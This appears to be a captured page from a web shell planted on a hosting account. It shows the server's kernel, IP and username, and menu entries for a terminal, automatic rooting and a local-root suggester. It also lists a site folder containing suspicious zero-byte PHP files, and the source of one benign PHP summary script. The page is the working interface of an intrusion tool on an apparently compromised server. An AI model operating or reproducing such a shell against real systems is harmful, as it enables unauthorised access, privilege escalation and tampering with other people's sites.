Linux moon.hostseba.com 4.18.0-553.51.1.lve.el8.x86_64 #1 SMP Tue May 6 15:14:12 UTC 2025 x86_64
LiteSpeed
Server IP : 103.174.152.68 & Your IP : 216.73.216.150
Domains :
Cant Read [ /etc/named.conf ]
User : julaysp1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
julaysp1 /
public_html /
js /
dist /
Delete
Unzip
Name
Size
Permission
Date
Action
feather
[ DIR ]
drwxr-xr-x
2025-09-13 10:50
TonnyBanglaMJ-Regular.woff
38.16
KB
-rw-r--r--
2025-05-27 07:33
amount_auto.php
2.39
KB
-rw-r--r--
2025-05-29 16:26
bpbluyix.php
0
B
-rw-r--r--
2025-09-13 10:40
deduction_amount.txt
2
B
-rw-r--r--
2025-08-20 19:12
fontawesome-webfont.woff2
64
KB
-rw-r--r--
2025-09-12 19:16
get_work_summary.php
1.05
KB
-rw-r--r--
2024-11-14 17:28
glyphicons-halflings-regular.ttf
44.34
KB
-rw-r--r--
2023-12-20 13:06
nid_pending.php
14.65
KB
-rw-r--r--
2024-11-20 16:25
on_off_test.php
14.85
KB
-rw-r--r--
2024-11-17 06:25
revisions.php
16.04
KB
-rw-r--r--
2025-06-09 06:55
server-copy.php
2.48
KB
-rw-r--r--
2025-01-29 04:42
sign_to_server.php
4.02
KB
-rw-r--r--
2025-07-20 07:55
v3_deduction_amount.txt
2
B
-rw-r--r--
2025-08-20 19:12
wp-blog-header.php
0
B
-rw-r--r--
2025-09-13 10:05
wp-cron.php
0
B
-rw-r--r--
2025-09-13 09:41
Save
Rename
<?php include 'includes/configuration.php'; session_start(); $user = base64_decode($_SESSION["user_id"]); // Get the number of days from the request, defaulting to 1 (today) $days = isset($_GET['days']) && $_GET['days'] !== 'all' ? (int)$_GET['days'] : 'all'; if ($days === 'all') { // Query to get all records $sql = "SELECT COUNT(*) AS totalOrders, SUM(price) AS totalPrice FROM history_work"; } else { // Query to get records within the last specified days $sql = "SELECT COUNT(*) AS totalOrders, SUM(price) AS totalPrice FROM history_work WHERE order_time >= DATE_SUB(CURDATE(), INTERVAL ? DAY)"; } $stmt = $conn->prepare($sql); if ($days !== 'all') { $stmt->bind_param("i", $days); } $stmt->execute(); $result = $stmt->get_result(); $summary = $result->fetch_assoc(); // Default values if no results $totalOrders = $summary['totalOrders'] ?? 0; $totalPrice = $summary['totalPrice'] ?? 0; header('Content-Type: application/json'); echo json_encode(['totalOrders' => $totalOrders, 'totalPrice' => $totalPrice]); ?>